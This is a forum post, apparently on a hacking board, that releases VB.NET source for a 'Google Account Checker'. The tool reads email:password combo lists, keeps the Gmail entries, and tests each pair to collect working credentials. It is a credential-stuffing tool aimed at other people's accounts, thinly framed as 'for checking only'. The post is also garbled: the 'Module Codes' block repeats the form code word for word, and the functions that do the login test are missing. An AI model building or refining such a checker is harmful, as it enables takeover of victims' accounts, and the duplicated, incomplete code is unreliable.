[Release] Google Account Checker

[euverve]

its and love you
edit : opps its only apps :S need source file ;)

And you are in doubt of it, since it deals with accounts. hahaha

Here it is:
Full Form Codes:

Code:

Imports System.IO

Public Class Form1

    Private Sub Button1_Click(sender As System.Object, _
                          e As System.EventArgs) Handles Button1.Click

        bgw2.RunWorkerAsync()
    End Sub

    Private Sub Button2_Click(sender As System.Object, _
                          e As System.EventArgs) _
                          Handles Button2.Click

        Using ofd As New OpenFileDialog() With {.Multiselect = True, _
                                                .Filter = "Txt files |*.txt"}
            Dim dialog As OpenFileDialog = ofd
            If (dialog.ShowDialog = DialogResult.OK) Then
                Dim fileName As String = dialog.FileName
                Me.TextBox3.Text = fileName
                displayallaccounts(fileName)
            End If
        End Using
    End Sub

    Private Sub Button3_Click(sender As System.Object, _
                          e As System.EventArgs) _
                          Handles Button3.Click

        If checkemail(TextBox4.Text) = True Then
            bgw1.RunWorkerAsync()
        Else
            MsgBox("Destination email is invalid.", _
                   MsgBoxStyle.Information, "Error")
        End If
    End Sub

    Private Sub Button4_Click(sender As System.Object, _
                              e As System.EventArgs) Handles Button4.Click

        bgw1.CancelAsync()
    End Sub

    Private Sub Form1_Load(sender As System.Object, _
                           e As System.EventArgs) Handles MyBase.Load

        System.Windows.Forms.Form.CheckForIllegalCrossThreadCalls = False
    End Sub

    Private Sub displayallaccounts(ByVal File As String)
        Try
            Dim sr As StreamReader
            Dim fs As FileStream
            fs = New FileStream((File), FileMode.OpenOrCreate)
            sr = New StreamReader(fs)
            Dim line As String

            line = sr.ReadLine
            While Not line = Nothing
                Dim split As String() = line.Split(New [Char]() {":"})
                Dim email As String = split(0)
                Dim pass As String = split(1)

                If checkemail(email) = True Then
                    If isgmail(email) = True Then
                        ListView1.Items.Add(email)
                        ListView1.Items(ListView1.Items.Count - 1).SubItems.Add(pass)
                    Else
                        'If not Gmail
                    End If
                Else
                    'If not valid email
                End If
                line = sr.ReadLine
            End While

            sr.Close()
            fs.Close()
        Catch ex As System.Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical, "Error")
        End Try
    End Sub

    Private Sub bgw1_DoWork(sender As System.Object, _
                            e As System.ComponentModel.DoWorkEventArgs) _
                            Handles bgw1.DoWork

        EmailValid.Text = 0
        Dim lvi As ListViewItem
        For Each lvi In ListView1.Items
            If bgw1.CancellationPending Then
                e.Cancel = True
            Else
                Dim email As String = lvi.Text
                Dim pass As String = lvi.SubItems(1).Text()
                Dim destination As String = TextBox4.Text

                Status.Text = "Checking: "
                EmailCheck.Text = email

                If testgmail(email, pass, destination) = True Then
                    ListView2.Items.Add(email)
                    ListView2.Items(ListView2.Items.Count - 1).SubItems.Add(pass)
                    EmailValid.Text += 1
                End If
            End If
        Next

        Status.Text = "Status: "
        EmailCheck.Text = "Ready"

        MsgBox("Email checker completed." & vbNewLine & _
               "Found valid emails: " & EmailValid.Text, _
               MsgBoxStyle.Information, "Completed")
    End Sub

    Private Sub bgw2_DoWork(sender As System.Object, _
                            e As System.ComponentModel.DoWorkEventArgs) _
                            Handles bgw2.DoWork

        Try
            EmailValid.Text = 0
            Status.Text = "Checking: "
            EmailCheck.Text = TextBox1.Text
            If checkemail(TextBox4.Text) = True Then

                If testgmail(TextBox1.Text, TextBox2.Text, TextBox4.Text) = True Then

                    Status.Text = "Status: "
                    EmailCheck.Text = "Ready"
                    EmailValid.Text += 1
                    MsgBox(TextBox1.Text & " is valid.", _
                           MsgBoxStyle.Information, "Success")
                Else
                    MsgBox(TextBox1.Text & " is invalid", _
                           MsgBoxStyle.Information, "Error")
                End If
            Else
                'Invalid email
                MsgBox("Destination email is invalid.", _
                       MsgBoxStyle.Information, "Error")
            End If
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Information, "Error")
        End Try
    End Sub
End Class

Module Codes:

Code:

Imports System.IO

Public Class Form1

    Private Sub Button1_Click(sender As System.Object, _
                          e As System.EventArgs) Handles Button1.Click

        bgw2.RunWorkerAsync()
    End Sub

    Private Sub Button2_Click(sender As System.Object, _
                          e As System.EventArgs) _
                          Handles Button2.Click

        Using ofd As New OpenFileDialog() With {.Multiselect = True, _
                                                .Filter = "Txt files |*.txt"}
            Dim dialog As OpenFileDialog = ofd
            If (dialog.ShowDialog = DialogResult.OK) Then
                Dim fileName As String = dialog.FileName
                Me.TextBox3.Text = fileName
                displayallaccounts(fileName)
            End If
        End Using
    End Sub

    Private Sub Button3_Click(sender As System.Object, _
                          e As System.EventArgs) _
                          Handles Button3.Click

        If checkemail(TextBox4.Text) = True Then
            bgw1.RunWorkerAsync()
        Else
            MsgBox("Destination email is invalid.", _
                   MsgBoxStyle.Information, "Error")
        End If
    End Sub

    Private Sub Button4_Click(sender As System.Object, _
                              e As System.EventArgs) Handles Button4.Click

        bgw1.CancelAsync()
    End Sub

    Private Sub Form1_Load(sender As System.Object, _
                           e As System.EventArgs) Handles MyBase.Load

        System.Windows.Forms.Form.CheckForIllegalCrossThreadCalls = False
    End Sub

    Private Sub displayallaccounts(ByVal File As String)
        Try
            Dim sr As StreamReader
            Dim fs As FileStream
            fs = New FileStream((File), FileMode.OpenOrCreate)
            sr = New StreamReader(fs)
            Dim line As String

            line = sr.ReadLine
            While Not line = Nothing
                Dim split As String() = line.Split(New [Char]() {":"})
                Dim email As String = split(0)
                Dim pass As String = split(1)

                If checkemail(email) = True Then
                    If isgmail(email) = True Then
                        ListView1.Items.Add(email)
                        ListView1.Items(ListView1.Items.Count - 1).SubItems.Add(pass)
                    Else
                        'If not Gmail
                    End If
                Else
                    'If not valid email
                End If
                line = sr.ReadLine
            End While

            sr.Close()
            fs.Close()
        Catch ex As System.Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical, "Error")
        End Try
    End Sub

    Private Sub bgw1_DoWork(sender As System.Object, _
                            e As System.ComponentModel.DoWorkEventArgs) _
                            Handles bgw1.DoWork

        EmailValid.Text = 0
        Dim lvi As ListViewItem
        For Each lvi In ListView1.Items
            If bgw1.CancellationPending Then
                e.Cancel = True
            Else
                Dim email As String = lvi.Text
                Dim pass As String = lvi.SubItems(1).Text()
                Dim destination As String = TextBox4.Text

                Status.Text = "Checking: "
                EmailCheck.Text = email

                If testgmail(email, pass, destination) = True Then
                    ListView2.Items.Add(email)
                    ListView2.Items(ListView2.Items.Count - 1).SubItems.Add(pass)
                    EmailValid.Text += 1
                End If
            End If
        Next

        Status.Text = "Status: "
        EmailCheck.Text = "Ready"

        MsgBox("Email checker completed." & vbNewLine & _
               "Found valid emails: " & EmailValid.Text, _
               MsgBoxStyle.Information, "Completed")
    End Sub

    Private Sub bgw2_DoWork(sender As System.Object, _
                            e As System.ComponentModel.DoWorkEventArgs) _
                            Handles bgw2.DoWork

        Try
            EmailValid.Text = 0
            Status.Text = "Checking: "
            EmailCheck.Text = TextBox1.Text
            If checkemail(TextBox4.Text) = True Then

                If testgmail(TextBox1.Text, TextBox2.Text, TextBox4.Text) = True Then

                    Status.Text = "Status: "
                    EmailCheck.Text = "Ready"
                    EmailValid.Text += 1
                    MsgBox(TextBox1.Text & " is valid.", _
                           MsgBoxStyle.Information, "Success")
                Else
                    MsgBox(TextBox1.Text & " is invalid", _
                           MsgBoxStyle.Information, "Error")
                End If
            Else
                'Invalid email
                MsgBox("Destination email is invalid.", _
                       MsgBoxStyle.Information, "Error")
            End If
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Information, "Error")
        End Try
    End Sub
End Class

It's up to you how you will judge it, hehehe. As what I said, it is for checking only.

I am working for a nice UI for this app.